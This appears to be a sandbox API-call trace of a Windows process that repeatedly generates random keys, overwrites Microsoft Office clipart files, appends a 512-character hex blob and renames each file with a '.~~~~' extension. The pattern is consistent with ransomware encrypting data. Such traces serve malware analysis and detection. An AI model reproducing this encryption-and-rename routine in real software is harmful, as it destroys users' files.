	[0115.078] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xae17a810, dwHighDateTime=0x1d60e1e)) 
	[0115.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0115.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0115.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0115.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a640
	[0115.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.079] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a640 | out: hHeap=0x300000) returned 1
	[0115.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.079] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.079] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28af0a8
	[0115.079] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.079] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0115.079] GetLastError () returned 0x0
	[0115.079] GetLastError () returned 0x0
	[0115.079] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0115.079] GetLastError () returned 0x0
	[0115.079] GetLastError () returned 0x0
	[0115.091] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff494, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.091] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xb6c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0xb6c, lpOverlapped=0x0) returned 1
	[0115.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0115.093] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.093] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.093] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.093] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.093] CloseHandle (hObject=0x13c) returned 1
	[0115.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.094] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf.~~~~")) returned 1
	[0115.094] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0115.095] GetLastError () returned 0x0
	[0115.095] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0115.096] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.096] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0115.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0115.096] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23508745153) returned 1
	[0115.097] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xae1a0970, dwHighDateTime=0x1d60e1e)) 
	[0115.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0115.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0115.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0115.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a6b0
	[0115.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a6b0 | out: hHeap=0x300000) returned 1
	[0115.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28af270
	[0115.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.098] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0115.098] GetLastError () returned 0x0
	[0115.098] GetLastError () returned 0x0
	[0115.098] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0115.099] GetLastError () returned 0x0
	[0115.099] GetLastError () returned 0x0
	[0115.143] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff040, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.143] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0xfc0, lpOverlapped=0x0) returned 1
	[0115.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0115.144] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.144] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.144] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.144] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.144] CloseHandle (hObject=0x13c) returned 1
	[0115.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.144] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf.~~~~")) returned 1
	[0115.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0115.146] GetLastError () returned 0x0
	[0115.147] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0115.148] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.148] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0115.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0115.148] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23513834644) returned 1
	[0115.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xae212d90, dwHighDateTime=0x1d60e1e)) 
	[0115.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0115.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0115.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0115.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a7c8
	[0115.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.149] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a7c8 | out: hHeap=0x300000) returned 1
	[0115.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.149] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.149] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28af3a0
	[0115.149] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.149] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0115.149] GetLastError () returned 0x0
	[0115.149] GetLastError () returned 0x0
	[0115.150] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0115.150] GetLastError () returned 0x0
	[0115.150] GetLastError () returned 0x0
	[0115.165] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffe8dc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.165] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x1724, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x1724, lpOverlapped=0x0) returned 1
	[0115.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0115.171] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.171] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.171] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.171] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.171] CloseHandle (hObject=0x13c) returned 1
	[0115.173] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6a78
	[0115.173] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf.~~~~")) returned 1
	[0115.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6a78 | out: hHeap=0x300000) returned 1
	[0115.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0115.175] GetLastError () returned 0x0
	[0115.175] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0115.177] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.177] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0115.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0115.177] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23516726735) returned 1
	[0115.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xae25f050, dwHighDateTime=0x1d60e1e)) 
	[0115.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0115.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0115.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0115.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a838
	[0115.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a838 | out: hHeap=0x300000) returned 1
	[0115.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6a78
	[0115.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28af698
	[0115.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6a78 | out: hHeap=0x300000) returned 1
	[0115.178] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0115.178] GetLastError () returned 0x0
	[0115.178] GetLastError () returned 0x0
	[0115.179] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0115.179] GetLastError () returned 0x0
	[0115.179] GetLastError () returned 0x0
	[0115.184] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff9da0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.184] WriteFile (in: hFile=0x13c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x6260, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x6260, lpOverlapped=0x0) returned 1
	[0115.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0115.186] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.186] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.186] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.186] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.186] CloseHandle (hObject=0x13c) returned 1
	[0115.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6a78
	[0115.186] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf.~~~~")) returned 1
	[0115.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6a78 | out: hHeap=0x300000) returned 1
	[0115.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0115.187] GetLastError () returned 0x0
	[0115.188] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0115.189] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.189] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0115.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0115.189] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23517919933) returned 1
	[0115.189] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xae2851b0, dwHighDateTime=0x1d60e1e)) 
	[0115.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0115.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0115.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0115.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a870
	[0115.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a870 | out: hHeap=0x300000) returned 1
	[0115.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6a78
	[0115.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28af7c8
	[0115.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6a78 | out: hHeap=0x300000) returned 1
	[0115.190] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0115.190] GetLastError () returned 0x0
	[0115.190] GetLastError () returned 0x0
	[0115.190] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0115.190] GetLastError () returned 0x0
	[0115.190] GetLastError () returned 0x0
	[0115.265] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff6380, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.265] WriteFile (in: hFile=0x13c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x9c80, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x9c80, lpOverlapped=0x0) returned 1
	[0115.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0115.267] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.267] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.267] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.267] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.267] CloseHandle (hObject=0x13c) returned 1
	[0115.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.268] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf.~~~~")) returned 1
	[0115.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0115.269] GetLastError () returned 0x0
	[0115.269] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0115.271] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.271] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
